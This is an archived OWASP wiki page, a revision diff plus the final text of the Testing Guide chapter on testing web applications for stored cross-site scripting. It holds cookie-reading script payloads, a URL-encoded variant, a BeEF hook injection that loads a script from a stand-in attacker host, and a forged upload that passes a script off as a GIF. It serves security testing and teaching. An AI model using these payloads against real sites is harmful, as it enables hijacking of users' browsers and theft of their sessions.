This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Testing for Stored Cross site scripting (OTG-INPVAL-002)"

From OWASP
Jump to: navigation, search
m (Gray Box testing and example)
 
(45 intermediate revisions by 12 users not shown)
Line 1: Line 1:
'''This is a draft of a section of the new Testing Guide v3'''
+
{{Template:OWASP Testing Guide v4}}
  
{{Template:OWASP Testing Guide v3}}
+
== Summary ==
 +
Stored [[Cross-site Scripting (XSS)]] is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.
  
== Brief Summary ==
 
  
Stored Cross Site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and relative exploitation scenario.
+
Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS.
<br>
 
  
== Description of the Issue ==
 
Stored XSS occurs when a web application gathers malicious input from a user and then stores that input in a data store for later viewing. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.<br>
 
This vulnerability can be used to conduct a number of browser-based attacks including:<br><br>
 
  
* Hijacking another users browser
+
This vulnerability can be used to conduct a number of browser-based attacks including:
 +
 
 +
* Hijacking another user's browser
 
* Capturing sensitive information viewed by application users
 
* Capturing sensitive information viewed by application users
 
* Pseudo defacement of the application
 
* Pseudo defacement of the application
* Port scanning of internal hosts
+
* Port scanning of internal hosts ("internal" in relation to the users of the web application)
 
* Directed delivery of browser-based exploits
 
* Directed delivery of browser-based exploits
 
* Other malicious activities
 
* Other malicious activities
  
<br>
+
 
Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:<br><br>
+
Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:
  
 
* Attacker stores malicious code into the vulnerable page
 
* Attacker stores malicious code into the vulnerable page
 
* User authenticates in the application
 
* User authenticates in the application
 
* User visits vulnerable page
 
* User visits vulnerable page
* Malicious code is executed by the browser’s user
+
* Malicious code is executed by the user's browser
 +
 
 +
 
 +
This type of attack can also be exploited with browser exploitation frameworks such as [http://www.beefproject.com BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. These frameworks allow for complex JavaScript exploit development.
 +
 
 +
 
 +
Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.
  
<br>This type of attack can also be exploited with browser exploitation framework such as [http://www.bindshell.net/tools/beef BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. These frameworks allow for complex JavaScript exploit development.<br>
+
==How to Test==
Stored XSS is particularly dangerous in application area where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by its browser. This might expose sensitive information such as session authorisation tokens.
 
  
== Black Box testing and example ==
+
=== Black Box testing ===
'''Input Forms'''<br><br>
+
 
The first step is to identify of all points where user input is stored into the back-end and then displayed by the application.  Typical examples of stored user input can be found in:<br>
+
The process for identifying stored XSS vulnerabilities is similar to the process described during the [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)|testing for reflected XSS]].
* User/Profiles page: the application allows user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc
+
 
* Shopping cart: the application allows user to store items into the shopping cart which can then be reviewed later
+
 
 +
'''Input Forms'''
 +
 
 +
The first step is to identify all points where user input is stored into the back-end and then displayed by the application.  Typical examples of stored user input can be found in:
 +
 
 +
* User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.
 +
* Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later
 
* File Manager: application that allows upload of files
 
* File Manager: application that allows upload of files
* Application settings/preferences: application that allows user to set preferences
+
* Application settings/preferences: application that allows the user to set preferences
 +
* Forum/Message board: application that permits exchange of posts among users
 +
* Blog: if the blog application permits to users submitting comments
 +
* Log: if the application stores some users input into logs.
  
<br>'''Analyse page source code'''<br>
+
 
<br>Input stored by the application is normally used in HTML tags but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how is positioned in the context of the page.<br><br>
+
'''Analyze HTML code'''
<b>Example</b>: Email stored data in index2.php<br>
+
 
 +
Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.
 +
 
 +
 
 +
<b>Note</b>: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users.
 +
 
 +
 
 +
<b>Example</b>: Email stored data in index2.php
  
 
[[Image:Stored_input_example.jpg]]
 
[[Image:Stored_input_example.jpg]]
  
The HTML source code of index2.php where the email value is located:<br>
+
 
 +
The HTML code of index2.php where the email value is located:
  
 
<pre>
 
<pre>
Line 50: Line 70:
 
</pre>
 
</pre>
  
In this case, the pen-tester needs to find a way to inject code outside the <input> tag as below:<br>
+
 
 +
In this case, the tester needs to find a way to inject code outside the <input> tag as below:
 +
 
 
<pre>
 
<pre>
 
<input class="inputbox" type="text" name="email" size="40" value="[email protected]"> MALICIOUS CODE <!-- />
 
<input class="inputbox" type="text" name="email" size="40" value="[email protected]"> MALICIOUS CODE <!-- />
 
</pre>
 
</pre>
  
<br>
 
'''Testing Stored XSS'''<br>
 
  
This involves testing the input validation/filtering controls of the application. Basic injection examples in our case:<br>
+
'''Testing for Stored XSS'''
 +
 
 +
This involves testing the input validation and filtering controls of the application. Basic injection examples in this case:
  
 
<pre>[email protected]&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre>
 
<pre>[email protected]&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre>
Line 64: Line 86:
  
  
Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as [http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project WebScarab]. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results with a windows popup containing the cookie values.<br>
+
Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as [[OWASP WebScarab Project|WebScarab]]. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.
  
'''Results Expected''':
+
 
 +
'''Result Expected''':
  
 
[[Image:Stored_xss_example.jpg]]
 
[[Image:Stored_xss_example.jpg]]
  
The HTML source code following the injection:<br>
+
 
 +
The HTML code following the injection:
 +
 
 
<pre><input class="inputbox" type="text" name="email" size="40" value="[email protected]"><script>alert(document.cookie)</script></pre>
 
<pre><input class="inputbox" type="text" name="email" size="40" value="[email protected]"><script>alert(document.cookie)</script></pre>
The input is stored and the XSS payload is executed by the browser when reloading the page.<br>
+
 
In case the input is escaped by the application, it is suggested to test the application for XSS filters. For instance, if the string "SCRIPT" is replaced by a space or by a NULL character then this could be a potential sign of XSS filter in action. Many techniques exist in order to evade input filters. It is strongly recommended to refer to [http://ha.ckers.org/xss.html RSnake] and [https://h4k.in/encoding/ Mario] XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.<br><br>
+
 
 +
The input is stored and the XSS payload is executed by the browser when reloading the page. If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string "SCRIPT" is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters (see [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)|testing for reflected XSS]] chapter). It is strongly recommended that testers refer to [[XSS Filter Evasion Cheat Sheet|XSS Filter Evasion]] ,  [http://ha.ckers.org/xss.html RSnake] and [https://h4k.in/encoding/ Mario] XSS Cheat pages, which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers and tools section for more detailed information.
 +
 
  
 
'''Leverage Stored XSS with BeEF'''
 
'''Leverage Stored XSS with BeEF'''
  
Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [http://www.bindshell.net/tools/beef BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. Let’s see what a typical BeEF exploitation scenario involves:<br>
+
Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [http://www.beefproject.com BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe].  
* Injecting a JavaScript hook which communicates to the attackers browser exploitation framework (BeEF)
+
 
 +
 
 +
A typical BeEF exploitation scenario involves:
 +
 
 +
* Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)
 
* Waiting for the application user to view the vulnerable page where the stored input is displayed
 
* Waiting for the application user to view the vulnerable page where the stored input is displayed
 
* Control the application user’s browser via the BeEF console
 
* Control the application user’s browser via the BeEF console
<br>The JavaScript hook can be injected by exploiting the XSS vulnerability in the application.
 
<br><br><b>Example</b>: BeEF Injection in index2.php:<br>
 
  
<pre>[email protected]”><script src=http://attackersite/beef/hook/beefmagic.js.php></script></pre>
 
  
When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard and launch complex XSS attacks.<br>
+
The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.
 +
 
 +
<b>Example</b>: BeEF Injection in index2.php:
 +
 
 +
<pre>[email protected]”><script src=http://attackersite/hook.js></script></pre>
 +
 
 +
 
 +
When the user loads the page index2.php, the script hook.js is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.
 +
 
  
 
'''Result Expected'''
 
'''Result Expected'''
  
[[Image:BeEF_in_action.jpg]]
+
[[Image:RubyBeef.png]]
 +
 
 +
This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.
  
This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.<br><br>
 
  
 
'''File Upload'''
 
'''File Upload'''
  
In case the application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.<br><br>
+
If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.
Consider the following HTTP POST request for file upload:<br>
+
 
 +
 
 +
Consider the following HTTP POST request for file upload:
 +
 
 
<pre>
 
<pre>
 
POST /fileupload.aspx HTTP/1.1
 
POST /fileupload.aspx HTTP/1.1
Line 108: Line 148:
 
</pre>
 
</pre>
  
This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG, GIF can contain a XSS payload that is executed when they are loaded by the browser. This is possible due to the MIME type for an image such as image/gif can be set to text/html instead. In this case the file will be treated by the client browser as HTML.<br><br>
+
 
 +
This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.
 +
 
  
 
HTTP POST Request forged:
 
HTTP POST Request forged:
Line 118: Line 160:
 
</pre>
 
</pre>
  
Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT file with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.
 
  
== Gray Box testing and example ==
+
Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has some partial knowledge of the application. In this case, information regarding user input, input validation controls and data storage might be known by the pen-tester.<br><br>
+
 
Depending on the information available, it is normally recommended to check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:<br>
+
 
 +
=== Gray Box testing ===
 +
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.
 +
 +
 
 +
Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:
  
 
* Use front-end application and enter input with special/invalid characters
 
* Use front-end application and enter input with special/invalid characters
* Analyse application response
+
* Analyze application response(s)
 
* Identify presence of input validation controls
 
* Identify presence of input validation controls
 
* Access back-end system and check if input is stored and how it is stored
 
* Access back-end system and check if input is stored and how it is stored
* Analyse source code and understand how stored input is rendered by the application
+
* Analyze source code and understand how stored input is rendered by the application
<br>
 
If source code is available (White Box), all variables used in input forms should be analysed.<br><br>
 
In particular, programming languages such as PHP, ASP and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.
 
  
The following table summarises some special variables and functions to look at when looking source code:
+
 
 +
If source code is available (White Box), all variables used in input forms should be analyzed. In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.
 +
 
 +
 
 +
The following table summarizes some special variables and functions to look at when analyzing source code:
  
 
<blockquote style="background: white; border: 1px solid rgb(153, 153, 153); padding: 1em;">
 
<blockquote style="background: white; border: 1px solid rgb(153, 153, 153); padding: 1em;">
Line 142: Line 189:
 
* $_GET - HTTP GET variables
 
* $_GET - HTTP GET variables
 
* $_POST - HTTP POST variables
 
* $_POST - HTTP POST variables
 +
* $_REQUEST – http POST, GET and COOKIE variables
 
* $_FILES - HTTP File Upload variables
 
* $_FILES - HTTP File Upload variables
 
||  
 
||  
Line 153: Line 201:
 
</blockquote>
 
</blockquote>
  
== References ==
 
'''Books'''<br>
 
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
 
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
 
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
 
  
'''Whitepapers'''<br>
+
<b>Note</b>: The table above is only a summary of the most important parameters but, all user input parameters should be investigated.
* RSnake: "XSS (Cross Site Scripting) Cheat Sheet" - http://ha.ckers.org/xss.html
 
  
* CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" - http://www.cert.org/advisories/CA-2000-02.html
+
==Tools==
 
+
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]'''  
* Aung Khant: "What XSS Can do - Benefits of XSS From Attacker's view" - http://yehg.org/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf
 
 
 
* Amit Klein: "Cross-site Scripting Explained" - http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf
 
 
 
* Gunter Ollmann: "HTML Code Injection and Cross-site Scripting" - http://www.technicalinfo.net/papers/CSS.html
 
 
 
* CGISecurity.com: "The Cross Site Scripting FAQ" - http://www.cgisecurity.com/articles/xss-faq.shtml
 
 
 
'''Tools'''<br>
 
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
 
 
CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.  
 
CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.  
 
 
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding
 
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding
PCE helps you encode arbitrary texts to and from 65 kinds of charsets that you can use in your customised payloads.
+
PCE helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.
 +
* '''Hackvertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
 +
Hackvertor is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).
 +
* '''BeEF''' - http://www.beefproject.com
 +
BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.
 +
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
 +
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
 +
* '''Backframe''' - http://www.gnucitizen.org/projects/backframe/
 +
Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.
 +
* '''[[OWASP WebScarab Project|WebScarab]]'''
 +
WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.
 +
* '''Burp''' - http://portswigger.net/burp/
 +
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
 +
* '''XSS Assistant''' - http://www.greasespot.net/
 +
Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.
 +
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]
 +
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.
  
* '''BeEF''' - http://www.bindshell.net/tools/beef/
 
BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities
 
  
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
+
== References ==
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool
+
'''OWASP Resources'''<br>
 +
*[[XSS Filter Evasion Cheat Sheet]]
  
* '''Backframe''' - http://www.gnucitizen.org/projects/backframe/
 
Backframe is a full-featured attack console for exploiting WEB browsers, WEB users and WEB applications
 
  
* '''WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
+
'''Books'''<br>
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.
+
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
 +
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
 +
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
  
* '''Burp''' - http://portswigger.net/proxy/
 
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
 
  
* '''XSS Assistant''' - http://www.whiteacid.org/greasemonkey/#xss_assistant
+
'''Whitepapers'''<br>
Greasemonkey script that allow users to easily test any web for cross-site-scripting flaws.
+
* RSnake: "XSS (Cross Site Scripting) Cheat Sheet" - http://ha.ckers.org/xss.html
 +
* CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" - http://www.cert.org/advisories/CA-2000-02.html
 +
* Amit Klein: "Cross-site Scripting Explained" - http://courses.csail.mit.edu/6.857/2009/handouts/css-explained.pdf
 +
* Gunter Ollmann: "HTML Code Injection and Cross-site Scripting" - http://www.technicalinfo.net/papers/CSS.html
 +
* CGISecurity.com: "The Cross Site Scripting FAQ" - http://www.cgisecurity.com/xss-faq.html
 +
* Blake Frantz: "Flirting with MIME Types: A Browser's Perspective" - http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf

Latest revision as of 15:32, 31 July 2014

This article is part of the new OWASP Testing Guide v4.
Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: https://www.owasp.org/index.php/OWASP_Testing_Project

Summary

Stored Cross-site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.


Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS.


This vulnerability can be used to conduct a number of browser-based attacks including:

  • Hijacking another user's browser
  • Capturing sensitive information viewed by application users
  • Pseudo defacement of the application
  • Port scanning of internal hosts ("internal" in relation to the users of the web application)
  • Directed delivery of browser-based exploits
  • Other malicious activities


Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:

  • Attacker stores malicious code into the vulnerable page
  • User authenticates in the application
  • User visits vulnerable page
  • Malicious code is executed by the user's browser


This type of attack can also be exploited with browser exploitation frameworks such as BeEF, XSS Proxy and Backframe. These frameworks allow for complex JavaScript exploit development.


Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.

How to Test

Black Box testing

The process for identifying stored XSS vulnerabilities is similar to the process described during the testing for reflected XSS.


Input Forms

The first step is to identify all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:

  • User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.
  • Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later
  • File Manager: application that allows upload of files
  • Application settings/preferences: application that allows the user to set preferences
  • Forum/Message board: application that permits exchange of posts among users
  • Blog: if the blog application permits to users submitting comments
  • Log: if the application stores some users input into logs.


Analyze HTML code

Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.


Note: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users.


Example: Email stored data in index2.php

Stored input example.jpg


The HTML code of index2.php where the email value is located:

<input class="inputbox" type="text" name="email" size="40" value="[email protected]" />


In this case, the tester needs to find a way to inject code outside the <input> tag as below:

<input class="inputbox" type="text" name="email" size="40" value="[email protected]"> MALICIOUS CODE <!-- />


Testing for Stored XSS

This involves testing the input validation and filtering controls of the application. Basic injection examples in this case:

[email protected]"><script>alert(document.cookie)</script>
[email protected]%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E


Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as WebScarab. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.


Result Expected:

Stored xss example.jpg


The HTML code following the injection:

<input class="inputbox" type="text" name="email" size="40" value="[email protected]"><script>alert(document.cookie)</script>


The input is stored and the XSS payload is executed by the browser when reloading the page. If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string "SCRIPT" is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters (see testing for reflected XSS chapter). It is strongly recommended that testers refer to XSS Filter Evasion , RSnake and Mario XSS Cheat pages, which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers and tools section for more detailed information.


Leverage Stored XSS with BeEF

Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as BeEF, XSS Proxy and Backframe.


A typical BeEF exploitation scenario involves:

  • Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)
  • Waiting for the application user to view the vulnerable page where the stored input is displayed
  • Control the application user’s browser via the BeEF console


The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.

Example: BeEF Injection in index2.php:

[email protected]”><script src=http://attackersite/hook.js></script>


When the user loads the page index2.php, the script hook.js is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.


Result Expected

RubyBeef.png

This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.


File Upload

If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.


Consider the following HTTP POST request for file upload:

POST /fileupload.aspx HTTP/1.1
[…]

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"
Content-Type: text/plain

test


This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.


HTTP POST Request forged:

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html

<script>alert(document.cookie)</script>


Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.


Gray Box testing

Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.


Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:

  • Use front-end application and enter input with special/invalid characters
  • Analyze application response(s)
  • Identify presence of input validation controls
  • Access back-end system and check if input is stored and how it is stored
  • Analyze source code and understand how stored input is rendered by the application


If source code is available (White Box), all variables used in input forms should be analyzed. In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.


The following table summarizes some special variables and functions to look at when analyzing source code:

PHP ASP JSP
  • $_GET - HTTP GET variables
  • $_POST - HTTP POST variables
  • $_REQUEST – http POST, GET and COOKIE variables
  • $_FILES - HTTP File Upload variables
  • Request.QueryString - HTTP GET
  • Request.Form - HTTP POST
  • Server.CreateObject - used to upload files
  • doGet, doPost servlets - HTTP GET and POST
  • request.getParameter - HTTP GET/POST variables


Note: The table above is only a summary of the most important parameters but, all user input parameters should be investigated.

Tools

CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.

PCE helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.

Hackvertor is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).

BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.

XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.

Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.

WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.

Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.

Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.


References

OWASP Resources


Books

  • Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
  • Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
  • Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3


Whitepapers